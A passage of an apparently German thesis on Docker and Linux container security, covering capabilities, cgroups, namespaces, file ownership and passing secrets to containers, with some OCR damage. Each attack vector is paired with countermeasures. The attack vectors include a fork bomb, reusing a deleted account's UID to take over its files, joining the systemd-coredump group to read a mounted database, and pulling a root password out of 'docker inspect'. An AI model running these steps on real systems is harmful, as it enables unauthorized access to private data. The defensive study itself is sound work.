(siehe Unterabschnitt 3.6.2, Seite 72) dem Starten von Containern realisieren. [22]

3.2.2 Capabilities

»Fir den Zweck der Durchfiihrung von Rechtepriifungen unterscheiden traditionelle UNIX-
Implementierungen zwei Arten von Prozessen: Privilegierte Prozesse (deren effektive
Benutzerkennung 0 ist, auch als Superuser oder Root benannt) und unprivilegierte
Prozesse (deren effektive UID von Null verschieden ist). Privilegierte Prozesse iibergehen
alle Kernel-Rechtepriifungen, wahrend unprivilegierte Prozesse der vollen Rechtepriifung,
basierend auf den Berechtigungsnachweisen des Prozesses (normalerweise: effektive UID,
effektive GID und erganzende Gruppenliste), unterliegen.” [71]

»Seit Kernel 2.2 unterteilt Linux die Privilegien, die traditionell mit dem Superuser
assoziiert sind, in getrennte Einheiten, die als capabilities bekannt sind. Diese
konnen unabhangig voneinander aktiviert oder deaktiviert werden.” [71] Seit Linux 3.16
existieren mindestens 38 Capabilities (siehe Tab. 3.6, Seite 50). [71, 11]

Definition 28 [, %’ |/ ] — Capabilities und Implementierung:

Die Implementierung von Capabilities setzt seit Linux-Kernel 2.6.24 voraus [71]:

1. Prifung durch Kernel fiir alle privilegierten Aktionen, ob jeweiliger Thread bendtigte
Capabilities in seiner effektiven Menge besitzt.

2. Bereitstellung der Systemaufrufe durch Kernel, die Anderungen und Ermittlungen
der Capability-Menge des Threads erlauben.

3. Dateisystem muss Anhangen von Capabilities an ausfiihrbare Dateien erlauben,
damit Prozesse die Capabilities erhalten, wenn Datei ausgefiihrt wird.
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Tab. 3.6 Unzulassige Capabilities (Beispiele) [71, 11] [VTZ]

Die Tabelle zeigt im oberen Teil ausgewahlte Beispiele fiir unzulassige Capabilities, die bei einer
Instanziierung eines Containers nicht zugewiesen werden sollten. Der untere Teil zeigt weitere ausgewahlte
Beispiele, zu denen jedoch keine eindeutige Aussage getroffen werden kann.

Name

Aktionen oder Verhalten

CAP_SETPCAP
CAP_SYS_MODULE
CAP_SYS_RAWIO
CAP_SYS_PACCT
CAP_SYS_NICE
CAP_SYS_RESOURCE
CAP_SYS_TIME
CAP_SYS_TTY_CONFIG
CAP_AUDIT_WRITE
CAP_AUDIT_CONTROL
CAP_MAC_OVERRIDE
CAP_MAC_ADMIN
CAP_SYSLOG
CAP_NET_ADMIN

CAP_SYS_ADMIN

Prozessfahigkeiten modifizieren

Kernelmodule laden und entladen

Kernelspeicher modifizieren

Prozessabrechnung konfigurieren

Prioritdten von Prozessen modifizieren
Ressourcenbegrenzungen auBer Kraft setzen

Andern der System- und Echtzeit-(Hardware-)Uhr
TTY-Gerate konfigurieren

Audit-Protokoll schreiben

Audit-Subsystem konfigurieren

Kernel-MAC-Richtlinie ignorieren

MAC-Konfiguration konfigurieren

Privilegierte syslog-/printk!-Aktionen ausfiihren
Netzwerk konfigurieren, z. B.:

» Schnittstellenkonfiguration

» |P-Firewall, Masquerading und Abrechnung verwalten
» Routing-Tabellen verdndern

Capability iiberladen! (vgl. Root-Rechte); erlaubt z. B.:
= Systemadministrationsaktionen?

= Aktionen an erweiterten Attributen trusted und security
= PID falschen3

= Schalter CLONE_x* einsetzen, der Namensraume erstellt

CAP_CHOWN
CAP_DAC_OVERRIDE
CAP_KILL
CAP_SETGID

CAP_SETFCAP
CAP_SETUID

CAP_SYS_BOOT
CAP_SYS_CHROOT

Beliebige Anderungen an Datei-UIDs und GIDs vornehmen
Lese-, Schreibe und Ausfiihrrechtepriifungen umgehen*
Rechtepriifungen beim Senden von Signalen umgehen
Beliebige Manipulationen vornehmen, z. B.:

= An GIDs und Liste der erganzenden GIDs des Prozesses
»  Gruppenkennungs-Abbildung in Kontennamensraum
Setzt beliebige Capabilities auf einer Datei.

Beliebige Manipulationen vornehmen, z. B.:

= An den Prozess-UlDs

= Gruppenkennungs-Abbildung in Kontennamensraum
reboot und kexec_load verwenden

» chroot verwenden

» setns nutzen, um Einhdngenamensrdume zu andern

! Drucken von Nachrichten in den Kernel-Log-Puffer. [72]

2 Beispielsweise quotactl, mount, sethostname und setdomainname.

3 Wenn Socket-Berechtigungsnachweise via UNIX-Domain-Sockets weitergebeben werden.

4 Discretionary Access Control (DAC), kontenbestimmbare Zugriffssteuerung.
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3.3 Kontrollgruppen und Namensraume

Die control groups oder auch cgroups (Kontrollgruppen) gewahrleisten die Zu-
teilung von Ressourcen fiir die Prozesse. Die namespaces (Namensrdume) schranken
ein, was der jeweilige Prozess sehen kann.

3.3.1 Kontrollgruppen

Die cgroup -Schnittstelle des Kernels wird durch ein Pseudo-Dateisystem bereitgestellt,
das cgroupfs genannt wird. Im cgroup -Kernel-Quelltext wird die Gruppierung im-
plementiert, wahrend die Ressourcenverfolgung und -begrenzung in Subsystemen pro
Ressourcentyp (z. B. Speicher und CPU) implementiert sind. [73, 11]

Definition 29 [, %’ /'] — Control Groups und Grenzwerte:

Die cgroups (Kontrollgruppen) sind Funktionen des Linux-Kernels die es ermdglichen,
Prozesse in hierarchischen Gruppen zu organisieren, deren Nutzung verschiedener Arten
von Ressourcen (z. B. Speicher, CPU und Netzwerkeingabe/-ausgabe) begrenzen und

iberwachen. Gut abgestimmte cgroups koénnen sicherstellen, dass ein Prozess das
Verhalten anderer Prozesse nicht beeinflussen kann, indem er alle Ressourcen (z. B. CPU
oder Speicher) in Anspruch nimmt und andere Anwendungen aushungern lasst. [22]

Bemerkung 29.1 — Control Groups und Docker Security: Kontrollgruppen sind
eine Schlisselkomponente von Linux-Containern und sorgen fiir die Abrechnung und
Begrenzung von Ressourcen. Sie tragen durch die Lieferung von Metriken dazu bei, dass
jeder Container seinen notwendigen Anteil an Arbeitsspeicher, CPU und Festplatten-E/A
erhalt. Damit kann ein einzelner Container das System nicht zum Absturz bringen, indem
er eine dieser Ressourcen erschopft. Obwohl sie nicht verhindern, dass ein Container auf
die Daten und Prozesse eines anderen Containers zugreift oder diese beeinflusst, sind
sie unerlasslich, um einige Angriffe der Kategorie Denial of Service (DoS) abzuwehren.
Auf mandantenfahigen Plattformen wie public und private Platform as a Service (PaaS)
sind sie notwendig, um eine konstante Betriebszeit und Leistung zu gewahrleisten, selbst
wenn einige Anwendungen anfangen, Anomalien in ihrem Verhalten aufzuweisen. [74]

Docker erstellt fiir jeden Container automatisch eine Kontrollgruppe. Bei Containern, die
cgroups verwenden, ist der Containername die vollstandige ID oder lange ID
des Containers. Ist beispielsweise der Containername ae836c95b4c3, besteht die
lange ID aus ae836c95b4c3[...]17df9ab444c79 . Die lange ID kann mit dem
Befehl docker inspect oder docker ps --no-trunc angezeigt werden. [75]
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Vektor 9 [} '° ] ] — Forkbomben (Fork bombs):
Eine Forkbombe startet rekursiv Kopien von sich selbst. Fiir Angreifende dient das
dem Zweck, verfiigbare Systemressourcen zu verbrauchen, was bis zum Blockieren des
Systems fiihren kann. Weniger komplexe Forkbomben bestehen meist aus Endlosschleifen
(siehe Aufl. 3.4, Seite 52). Unter Linux kann eine Forkbombe mit dem Aufruf des Syscall
fork in einer Endlosschleife umgesetzt werden. [76]

Aufl. 3.4 Forkbombe (Pseudocode) [76] [,/ ]

forkbomb {
Programm forkbomb starten;
Programm forkbomb starten;
Warten bis forkbomb beendet wurde oder Prozess in Hintergrund schieben;

Das Programm forkbomb startet sich selbst zwei mal und wartet, bis diese Prozesse beendet wurden. Da
die beiden Prozesse wiederum zwei neue Prozesse von sich selbst starten, entsteht eine Endlosschleife, da
die Prozesse ohne Eingriff von auBen niemals beendet werden. Ohne SchutzmaBnahmen werden solange
neue Prozesse gestartet, bis alle Systemressourcen verbraucht sind, was schlieBlich zum Blockieren des
Systems fiihren kann.

Schutz 9.1 — Forkbombe (Fork bombs) verhindern: Die Kontrollgruppe pid
dient zur Begrenzung der Gesamtzahl an Prozessen innerhalb einer Kontrollgruppe,
Damit kann die Wirksamkeit einer Forkbombe (Fork bomb) verhindert werden. [22]

Aufl. 3.5 Forkbombe verhindern [76] [/ ]

ubuntu@vm:~$ ulimit -a # alle Grenzwerte anzeigen

max user processes (-u) 7708

[...]

ubuntu@vm:~$ ulimit -u # mazimale Anzahl wvon Prozessen pro Konto
7708

ubuntu@vm:~$ ulimit -S -u 5000 # Prozesse fuer aktuelle Sitzung begrenzen

Das Programm ulimit dient zum Ausgeben und Setzen von Grenzwerten fiir Konten. Damit Forkbomben
eine Wirkung auf das System entfalten kénnen, ist ein hoher Wert von max user processes relevant.
Dieser Wert sollte daher so niedrig wie moglich und so hoch wie ndtig gewahlt werden.

Der Wert 7708 von max user processes bedeutet, dass 7708 Prozesse ausgefiihrt
werden konnen. Diese Angabe wurde in der Testumgebung (siehe Anhang C, Seite C-78)
ermittelt. Es konnte nicht festgestellt werden, ob es sich hierbei um einen Standardwert
von Ubuntu handelt, der Wert ressourcenbezogen fiir jedes System individuell berechnet
wird oder durch die Docker-Engine angepasst wird. Verglichen mit dem im Artikel
Understanding Bash fork() Bomb [76] genannten Wert von 128038 und der Empfehlung
des Autors Vivek Gite von 5000, scheint 7708 bereits niedrig zu sein.
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Die Wirksamkeit einer Forkbombe ist neben der maximalen Anzahl an Prozessen auch
von den vorhandenen Systemressourcen abhangig. Daher kann kein konkreter Wert
fir max user processes empfohlen werden. Ein laufendes System lasst sich durch
Verringerung eines zu hohen Werts mit ulimit -S -u 5000 3! schiitzen.

Fir eine persistente Umsetzung, die nach einem Neustart wirksam bleibt, sollten die
Konfigurationshinweise der jeweiligen Distribution beriicksichtigt werden. In diesem
Zusammenhang wird auch auf die Docker-Dokumentation zu den Themen Docker
security [74] und Runtime options with Memory, CPUs, and GPUs [77] verwiesen.

3.3.2 Namensraume

Wahrend cgroups die Ressourcen kontrollieren, die ein Prozess nutzen kann, kon-
trollieren die als namespaces genannten Namensraume, was der Prozess sehen kann.
Die Ressourcen, die fiir einen Prozess sichtbar sind, kénnen durch Zuweisung eines
namespace eingeschrankt werden. [22, 11] Die Namensraume sind fiir die Isolation von
Containern relevant (siehe Abschnitt 3.6, Seite 71).

Definition 30 [, %" |/ ] — Namespaces:
Der erste namespace aus dem Jahr 2002 war der mount -Namensraum. Linux unter-
stiitzt verschiedene Arten von namespaces [22]:

uUTS3?

— ermoglicht einem einzelnen System fiir verschiedene Prozesse unterschiedliche
Host- und Doméanennamen darzustellen. Wenn ein Prozess einen neuen UTS-
Namensraum erstellt, werden der Hostname und die Domane des neuen
UTS-Namensraums von den entsprechenden Werten im UTS-Namensraum
des Aufrufers kopiert.

» Process IDs

= Mount points

= Network

= User and group IDs

» Inter-process communications (IPC)
= Control groups

31 Beschrankt die maximale Anzahl an Prozessen auf 5000 pro Konto.

32 Isolieren zweier Systembezeichner (Hostname und Dominenname), die vom Systemaufruf uname ()
zurlickgegeben werden. Die Namen werden mit den Systemaufrufen sethostname() und
setdomainname () gesetzt. Im Kontext von Containern erlaubt die UTS-Namensraumfunktion
jedem Container, seinen eigenen Hostnamen und NIS-Domanennamen zu haben. Dies kann fir
Initialisierungs- und Konfigurationsskripte niitzlich sein, die ihre Aktionen auf der Grundlage dieser
Namen anpassen. Der Begriff UNIX Time-sharing System (UTS) leitet sich von dem Namen der
Struktur ab, die an den Systemaufruf uname () lbergeben wird: struct utsname. [78]
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3.4 Rechte und Parameteriibergabe

Eine der wesentlichen Eigenschaften von Unix/unixoiden Betriebssystemen ist das Prinzip
Everything is a file. Das Debian-Projekt (GNU/Linux) ist ein unixiodes Betriebssystem
und basiert daher im wesentlichen auf diesem Prinzip.

3.4.1 Dateiberechtigungen

In Linux sind die Besitzrechte einer Datei an das Konto gekniipft, mit dem diese erstellt
wurde. Dazu ist ein Dateisystem notwendig, das UNIX-Dateirechte unterstiitzt, wie
beispielsweise ext2, ext3 und ext4 . [79]

Mit dem Befehl touch DATEI lassen sich die Zugriffs- und Modifikationszeiten einer
DATEI auf die aktuelle Systemzeit aktualisieren. Existiert die DATEI dabei noch nicht,
wird diese leer angelegt.

Mit dem Befehl 1s -1a (siehe Aufl. 3.6, Seite 54) lassen sich die Eigenschaften der
Dateien im aktuellen Verzeichnis anzeigen [80]. Dabei werden die jeweiligen Besitz-
und Gruppennamen ersichtlich. Mit chown (Besitzkonto), chgrp (Besitzgruppe) und
chmod (Zugriffsrechte) lassen sich die Berechtigungen einer Datei dndern. [81]

Aufl. 3.6 Dateien mit Besitzkonto anzeigen [A“ﬂi NN

hannes@vm:~$ touch hallowelt.txt && 1ls -la
B 1 hannes hannes 54 Jul 20 13:20 .bash_history
-rw-rw-r—— 1 hannes hannes 0 Jul 20 13:19 hallowelt.txt

Mit touch wird der Zeitstempel einer Datei aktualisiert. Existiert die Datei nicht, wird diese angelegt.
Optionen von 1s (Verzeichnisinhalte auflisten):
-1 langes Listenformat (z. B. Zugriffs-, Besitz- und Gruppenrechte, GroBe, Zeitstempel und Name)
-a keine Eintrage ignorieren, die mit . beginnen

Mit dem Befehl sudo deluser KONTO kann ein Konto geldscht werden. Dabei verblei-
ben alle Dateien des Kontos im Dateisystem®®. Es wird nach dem Léschen des Kontos
nur noch dessen ehemalige ID (hier 1001 ) angezeigt (siehe Aufl. 3.7, Seite 55). [82]

Mit dem Befehl sudo adduser KONTO kann ein neues Konto erstellt werden. Dabei
wird diesem die nachste freie ID groBer oder gleich 1000 zugewiesen. Das neue Konto
bekommt demzufolge mdglicherweise die ID eines zuletzt geléschten Kontos. [83]

33 Beispielsweise das Heimatverzeichnis und alle weiteren Dateien, die durch das Konto selbst erstellt
oder diesem durch Ubertragung von Besitzrechte zugewiesen wurden.
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Aufl. 3.7 Dateien ohne Besitzkonto anzeigen [A”ﬂi F1) [VTZ]

ubuntu@vm:~$ sudo deluser hannes && ls -la
-rw—-—-—---—- 1 1001 1001 54 Jul 20 13:20 .bash_history
-rw-rw-r—— 1 1001 1001 O Jul 20 13:19 hallowelt.txt

Konto hannes I6schen und bei Erfolg (&&) anschlieBend 1s -1la ausfiihren. Es verbleiben die Dateien
des Kontos im System. Statt dem Kontonamen wird nur noch dessen ehemalige ID angezeigt.

Mit dem Befehl sudo find / -nouser (siehe Aufl. 3.8, Seite 55) kdnnen alle Dateien
im System gefunden werden, die keinem Konto zugewiesen sind. [84]

Aufl. 3.8 Dateien ohne Besitzkonto suchen [A“ﬂl "]

ubuntu@vm: /home/ubuntu$ find / -nouser
/home/hannes/
/home/hannes/.bash_history
/home/hannes/hallowelt.txt

Optionen von find (Suche nach Dateien in einer Verzeichnishierarchie):
/ ab Wurzelverzeichnis abwarts suchen
-nouser sucht nach Dateien, deren User-ID keinem Benutzer entspricht.

In einer Untersuchung wird eine Méglichkeit der Ubernahme von Dateiberechtigungen
verdeutlicht (siehe Vektor 10, Seite 55).

Vektor 10 [/ ' |/ ] — Dateiberechtigungen iibernehmen:
Es ist moglich ohne Root-Rechte durch verschiedene Angriffsvektoren ein Konto zu
erbeuten, mit dem der Zugriff auf die Dateien von ehemaligen Konten erlaubt wird.

Voraussetzung hierfir ist, dass noch kein neues Konto die ID erhalten hat, zu der die

begehrten Dateien gehoren. Anderenfalls muss versucht werden, (iber einen anderen Weg
die Dateizugriffsrechte zu erhalten oder das jeweilige Konto muss ibernommen werden.
Liegen die Voraussetzungen vor, muss das neue Konto die ID von den Dateien erhalten,
die ilbernommen werden sollen.

Finden Angreifende eine Moglichkeit den Befehl adduser erfolgreich auszufiihren,
kénnen die Dateien mit einer ID (ibernommen werden, zu der kein Konto existiert (siehe
Aufl. 3.8, Seite 55). Hierfiir kann beispielsweise eine Sicherheitsliicke in einem Programm
mit SUID-/SGID-Bit (siehe Unterabschnitt 3.4.4, Seite 62) genutzt werden.

Mit dem Befehl adduser NeuerKontoName --uid AlteKontoID wird solch ein neu-
es Konto erstellt. Fiir NeuerKontoName kann ein beliebiger Wert gewahlt werden und
fir AlteKontoID muss die ID des geloschten Kontos der verbliebenen und zu erbeuten-
den Dateien eingesetzt werden. Eine andere Moglichkeit besteht darin, dass Angreifende

55



3.4 Rechte und Parameteriibergabe 3 Angriffsvektoren und SchutzmaBnahmen

so lange neue Konten erstellen lassen, bis eines der neuen Konten die gewiinschte ID
und somit die Besitzrechte der begehrten Dateien erhalten hat. Sobald solch ein Konto
vorliegt, ist der Zugriff auf diese Dateien moglich. [83]

Schutz 10.1 — Konten samt Dateien I6schen: Nicht mehr benétigten Konten kon-
nen zwar deaktiviert werden, statt sie zu léschen, was jedoch in Bezug auf Datenschutz
bedenklich ist, wenn Dateien des ehemaligen Kontos dauerhaft zuriickbleiben. Beim
Loschen eines Kontos sollten deshalb samtliche Dateien ebenfalls entfernt werden, zu

denen ein Besitzverhaltnis zu diesem Konto besteht. Der Befehl deluser bietet hierzu
geeignete Optionen: [82]

s ——remove-home entfernt nur das Home-Verzeichnis und den E-Mail-Puffer.
» —-remove-all-files entfernt alle Dateien des Kontos.3*

3.4.2 Dateisysteme

Bei einer Containervirtualisierung konnen schiitzenswerte sowie sicherheitsrelevante Daten
und Einstellungen in Form von Dateien an verschiedenen Orten abgelegt werden.

Definition 31 [, %" ) ] — Dateisysteme und Docker:
StandardmaBig werden alle innerhalb eines Containers erstellten Dateien auf einer be-

schreibbaren Containerebene gespeichert, was sich wie folgt beschreiben lasst [85]:

= Die Daten bleiben nicht erhalten, wenn der Container nicht mehr existiert und
es kann schwierig sein, die Daten aus dem Container zu holen, wenn ein anderer
Prozess auf die Daten zugreifen mochte. [85]

» Die beschreibbare Schicht eines Containers ist eng an den Hostrechner gekoppelt,
auf dem der Container ausgefiihrt wird. Das Verschieben der Daten an einen
anderen Ort ist nicht ohne weiteres moglich. [85]

= Das Schreiben in die beschreibbare Schicht eines Containers erfordert einen Treiber,
der das Dateisystem verwaltet. Dieser stellt ein Union-Dateisystem (UnionFS*°)
bereit, das den Linux-Kernel nutzt. Diese zusatzliche Abstraktionsebene verringert
die Leistung im Vergleich zur Verwendung von Datenvolumes, die direkt in das
Host-Dateisystem schreiben. [85]

34 Benétigt erheblich mehr Zeit, weil dabei das gesamte Dateisystem durchsucht wird.

35 Weist Prozessen eigene Namensraume innerhalb der Dateisysteme zu. Dateien verschiedener Datei-
systeme lassen sich so zu einem logischen Dateisystem zusammengefasst anzeigen. Damit wird
vermieden, dass ein kompletter Satz von Dateien jedes Mal dupliziert werden muss, wenn ein Image
als neuer Container gestartet wird. Isoliert die Anderungen am Dateisystem eines Containers in einer
eigenen Schicht, womit derselbe Container mit einem bekannten Inhalt neu gestartet werden kann
(da die Schicht mit den Anderungen beim Entfernen des Containers verworfen wird). [86, 87]
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3.4 Rechte und Parameteriibergabe

Docker bietet zwei Optionen fiir Container, um Dateien auf dem Host zu speichern, so
dass die Dateien auch nach dem Anhalten des Containers erhalten bleiben: volumes und
bind mounts (siehe Abb. 3.1, Seite 57). Zusatzlich sind unter Linux tmpfs mounts
und unter Windows named pipes nutzbar. Unabhangig von Art der Einbindung ist die
Darstellung der Daten innerhalb des Containers gleich®®. Die méglichen Optionen zur
Speicherung von Dateien auf dem Host im Uberblick: [85]

tmpfs

bind Container
mounts

Arbeitsspeicher

Dateisystem
z. B. ~/docker/mysqgl/data

volumes

Dockerbereich
Nvar/lib/docker/volumes/

Abb. 3.1 Dateisysteme von Docker (Beispiele); in Anlehnung an [85] [, ]

volumes werden in einem Teil des Host-Dateisystems gespeichert, der von
Docker verwaltet wird. Der Pfad unter Linux ist /var/lib/docker/volumes/ .
Alle Nicht-Docker-Prozesse sollten diesen Teil des Dateisystems nicht verandern.

Volumes seien der beste Weg, um Daten in Docker aufzubewahren. [85]
» bind mount koénnen lberall auf dem Host-System gespeichert sein. Es kann sich
um wichtige Systemdateien oder Verzeichnisse handeln. Nicht-Docker-Prozesse
auf dem Host oder einem Docker-Container konnen sie jederzeit dndern. [85]
tmpfs mount werden nur im Speicher des Host gespeichert und nicht in das

Dateisystem des Host geschrieben. [85]

In einer Untersuchung (sieche Anhang G, Seite G-94) wird beispielhaft ein eingebunde-

ner Datentrdger bind mount betrachtet (siehe Vektor 11, Seite 58), der durch die
Instanziierung eines Containers automatisch erstellt wurde (siehe Tab. 3.7, Seite 57).

Tab. 3.7 Verzeichnisse von Docker (Beispiele) [VTZ]

Pfad Beschreibung
/var/lib/docker/ ! Hauptverzeichnis (Docker Root Dir)
~/docker/mysql/data? Eingebundener Datentriger (Shared Filesystems)

! Ermittelbar mit dem Befehl docker info
2 Beispiel fiir ein im Container eingebundenes Verzeichnis des Hosts (bind mount)

36 Darstellung erfolgt entweder als Verzeichnis oder als einzelne Datei im Dateisystem des Containers.
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Vektor 11 [/ '? | '] — Dateisysteme iibernehmen:
Im Rahmen der Vorbereitungen dieser Forschungsarbeit (siehe Anhang C, Seite C-78)
wurde ein Container mit bind mount erstellt (sieche Tab. 3.8, Seite 58).

Tab. 3.8 Parameter von Containern (Beispiel) VTZ]

Befehl (ohne Zeilenumbruch)

docker run --name my-rdbs -p 3305:3306
-v /home/ubuntu/docker/mysql/data:/var/lib/mysql
-e MYSQL_ROOT_PASSWORD="m31nNeuesPa22wOrd" mysql:latest

Parameter Beschreibung

my-rdbs Name des Containers
3305:3306 Ports innen:auBen des Containers
/home/ubuntu/docker/mysql/data Datentrager auf dem Host
/var/lib/mysql Datentrager in dem Container
m31nNeuesPa22wOrd Kennwort zum Datenbanklogin
mysql:latest Image:Version zur Instanziierung

Von auBen wird mit einem MySQL-Client auf die Datenbankschnittstele innerhalb
des Containers zugegriffen und eine Datenbank®’ mit dem Namen hello_world
sowie mit den Tabellen hello.ibd und world.ibd erstellt. Durch Hinzufiigen eines
Kontos <konto> zu der Gruppe systemd-coredump , beispielsweise mit dem Befehl
sudo usermod -aG systemd-coredump <konto> oder einem Angriffsvektoren3®
erhalt <konto> Zugriff auf die schiitzenswerten Daten in der Datenbank hello_world
(siehe Aufl. 3.9, Seite 58). Diese Datenbank wird auf dem Host lber den eingebundenen
Datentriger™ (siehe Tab. 3.7, Seite 57) gespeichert, der bei Instanziierung des Containers
mit der Option -v angegeben wird.

Aufl. 3.9 Dateisysteme iibernehmen [ &-1] [\, ]

ubuntu@vm: ~/docker$ 1ls -1 --all --recursive --no-group --human-readable
./mysql/data:
drwxr-x--- 2 systemd-coredump 4,0K Jun 8 12:44 hello_world
1s: './mysql/data/hello_world' nicht moeglich: Keine Berechtigung
[...]
ubuntu@vm: ~$ sudo adduser vektor && sudo usermod -aG systemd-coredump vektor
ubuntu@vm:~$ su - vektor
vektor@vm:~$ 1ls -1laRGh /home/ubuntu/docker/
/home/ubuntu/docker/mysql/data/hello_world:

-rWw-r———-- 1 systemd-coredump 112K Jun 8 12:44 hello.ibd
-IrWw-r———-- 1 systemd-coredump 112K Jun 8 12:44 world.ibd
Loool

37 Als Beispiel fiir schiitzenswerte Daten.
38 Beispielsweise mittels SUID-Bit-Sicherheitsliicke (siehe Vektor 16, Seite 62).
39 /home/ubuntu/docker/mysql/data (Host) verbunden mit /var/1ib/mysql (Container).
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Schutz 11.1 — Gruppenmanipulationen vermeiden: Um vor diesem Angriffsvektor

zu schiitzen, missen Gruppenmanipulationen und Zugriffe auf das Dateisystem des Hosts
verhindert werden. Dabei darf auf keinen Fall unberechtigt die Datei /etc/group
bearbeitet oder der Befehl usermod *® ausgefiihrt werden kénnen. Das schlieBt den
physikalischen Zugriff auf die Festplatte ein.

Schutz 11.2 — Schiitzenswerte Daten auslagern: Die schitzenswerten Daten (hier
Datenbanken) kénnen auf anderen Dateisystemen externer Datentrager oder Speicher-
systeme ausgelagert werden. Das Ziel dabei ist, dass kein direkter Zugriff vom Host
des Containers, der die Anwendungen zur Verarbeitung der Daten ausfiihrt, auf das

jeweilige Speichersystem moglich ist. Somit konnte ein Erbeuten von schiitzenswerten
Daten durch beispielsweise dem Containerausbruch (siehe Vektor 24, Seite 68) erschwert
oder verhindert werden. Gleichzeitig kann eine zusatzliche Sicherheitsgrenze entstehen.

3.4.3 Parameteriibergabe

Die Anwendungen bendtigen in der Regel bestimmte Anmeldeinformationen (z. B. Konto-
namen, Kennworter, Token oder Zertifikate), um auf Datenbanken zugreifen zu kénnen
oder Berechtigungen zu erhalten. Mit Berechtigungsnachweisen (Credentials) oder Ge-
heimnissen (Secrets) wird der Zugriff auf Ressourcen eingeschrankt. Das Geheimnis
selbst muss zwingend geheim bleiben und nach dem Prinzip der geringsten Berech-
tigung behandelt werden (siehe Definition 13, Seite 13). Das bedeutet, dass nur die
Personen oder Komponenten iiber das Geheimnis Kenntnis erlangen diirfen, die es zur
Erledigung der Aufgabe benétigen. [22]

Definition 32 [, %’ ) | — Parameteriibergabe an Container:
Das Ziel bei der Verwendung eines Containers ist es eine isolierte Einheit zu erzeugen.

Es gibt daher eine nur begrenzte Anzahl von Moglichkeiten, (geheime) Daten und
Informationen in einen laufenden Container zu iibertragen. [22]

Die Moglichkeiten der Parameteriibergabe an Containern werden untersucht mit:

Vektor 12 Daten im Container-Image speichern (siehe Seite 59)

Vektor 13 Daten in Umgebungsvariablen integrieren (siehe Seite 60)
Vektor 14 Daten tiber Netzwerkschnittstelle iibertragen (siehe Seite 61)
Vektor 15 Daten (ber eingebundenes Laufwerk tbertragen (siehe Seite 61)

Vektor 12 [, '? /'] — Daten im Container-lmage speichern:
Dabei werden (geheime) Daten und Informationen im Image selbst gespeichert, mit dem
ein Container instanziiert werden kann. Die Geheimnisse sind jedoch fiir alle sichtbar,

die Zugriff auf das Image oder dessen Quelltext erhalten. [22]
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Es gibt verschiedene Griinde, warum Geheimnisse im Quelltext versteckt werden und

dort immer wieder auftauchen [22]:

1. Entwicklungsteams sind der damit verbunden Sicherheitsrisiken nicht bewusst.

2. Wahrend der Entwicklung werden Geheimnisse mit dem Ziel im Quelltext gespei-
chert, geringe Zeit-Kosten zu sparen und der Absicht, die Geheimnisse spater
wieder aus dem Quelltext zu entfernen, was jedoch schlieBlich vergessen wird.

Schutz 12.1 — Verschliisseln der Geheimnisse: Um das Geheimnis innerhalb des
Images zu schiitzen, kdnnte es verschlisselt werden. Nachteile dieser Methode [22]:

1. Damit der Container das Geheimnis entschliisseln kann, muss ein weiteres Geheimnis
sicher Ubertragen werden. Das urspriingliche Problem wird damit nicht geldst.
2. Das Geheimnis kann nicht geandert werden, ohne das Image neu zu erstellen.

Vektor 13 [, ' | '] — Daten in Umgebungsvariablen integrieren:
Uber Umgebungsvariablen kénnen Geheimnisse an einen Container iibergeben werden.
Angreifende sind durch zwei Punkte in der Lage, auf die Geheimnisse zuzugreifen [22]:

1. In vielen Programmiersprachen fiihrt ein Absturz einer Anwendung dazu, dass
Debug-Informationen ausgegeben werden, die alle Umgebungseinstellungen enthal-
ten. Wenn diese Informationen an ein Protokollierungssystem tbergeben werden,
kann jede Person oder Komponente, die Zugriff auf die Protokolle hat, die Umge-
bungsvariablen und somit die Geheimnisse auslesen.

2. Kann der Befehl docker inspect (oder ein Aquivalent) auf einen Container*®
ausgefiihrt werden, kénnen alle Umgebungsvariablen ausgelesen werden, die bei
der Instanziierung oder zur Laufzeit definiert wurden (siehe Aufl. 3.10, Seite 60).

Aufl. 3.10 Daten aus Umgebungsvariablen extrahieren [A“ﬂlH'l] [VTZ]

ubuntu@vm: ~$ docker inspect my-rdbs
[...] "MYSQL_ROOT_PASSWORD=m31nNeuesPa22wOrd", [...]

Konten mit der Gruppenzugehérigkeit zu docker kénnen samtliche Umgebungsvariablen und somit die
Geheimnisse aller lokal vorliegenden Container auslesen.

Die Umgebungsvariablen kénnen an dem Punkt definiert oder Gberschrieben werden,
an dem der Container instanziiert wird (z. B. durch die Angabe von -e-Parametern bei
einem Docker-Run-Befehl). [22]

Schutz 13.1 — Kein effektiver Schutz bekannt: Nach derzeitigem Stand ist kein
effektiver Schutz bekannt, wie sich eine sichere Umsetzung der Parameteriibergabe mit
Hilfe von Umgebungsvariablen realisieren lasst.

40 Es ist irrelevant, ob der Container gestartet ist oder nur aufgrund der Instanziierung vorhanden ist
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Vektor 14 [, '? | '] — Daten iiber Netzwerkschnittstelle iibertragen:

Das Geheimnis wird (iber eine Netzwerkschnittstelle an das Image (ibergeben. Dabei
ist es erforderlich, dass die Anwendung innerhalb des Containers die notwendigen Netz-

werkaufrufe selbst durchfiihrt, um die Geheimnisse abzurufen oder zu empfangen. Uber
unverschlisselte Netzwerkverbindungen konnen diese Daten durch Angreifende erbeutet
werden. [22]

Schutz 14.1 — Verschliisselte Netzwerkverbindungen zum Container: Der Da-

tenverkehr dieser Netzwerkverbindung, die das Geheimnis (bertragen soll, muss ver-
schliisselt werden, um einen Schutz gegen diesen Vektor bieten zu kénnen. Dazu wird ein
weiteres Geheimnis in Form eines X.509-Zertifikates erforderlich. Dieses Problem kénne
auf ein Service Mesh ausgelagert werden um sicherzustellen, dass die Netzwerkverbindun-
gen aus Sicherheitsgriinden gegenseitiges Transport Layer Security (TLS) verwenden. [22]

Vektor 15 [, '? | ] — Daten iiber eingebundenes Laufwerk iibertragen:

Die bevorzugte Option zum Ubergeben von Geheimnissen besteht darin, sie in Dateien
zu schreiben, auf die der Container iiber ein bereitgestelltes Laufwerk zugreifen kann.

Idealerweise sollte dieses Laufwerk ein temporares Verzeichnis sein, das im Arbeitsspeicher
gehalten und nicht auf die Festplatte geschrieben wird. Die Kombination mit einem
sicheren Geheimnisspeicher stellt sicher, dass die Geheimnisse niemals unverschliisselt
im ,Ruhezustand’ (z. B. als Datei auf der Festplatte) gespeichert werden. Da die Datei
mit dem Geheimnis vom Host in den Container gemountet wird, kann sie jederzeit von
der Hostseite aus aktualisiert werden, ohne dass der Container neu gestartet werden
muss. Vorausgesetzt, der Anwendung ist bekannt, wie sie ein neues Geheimnis aus der
Datei abrufen kann, wenn das alte Geheimnis nicht mehr giiltig ist, bedeutet dies, dass
Geheimnisse ausgetauscht werden kénnen, ohne die Container neu starten zu missen. [22]

Angreifende missten Zugriff auf das eingebundene Laufwerk oder den Arbeitsspeicher
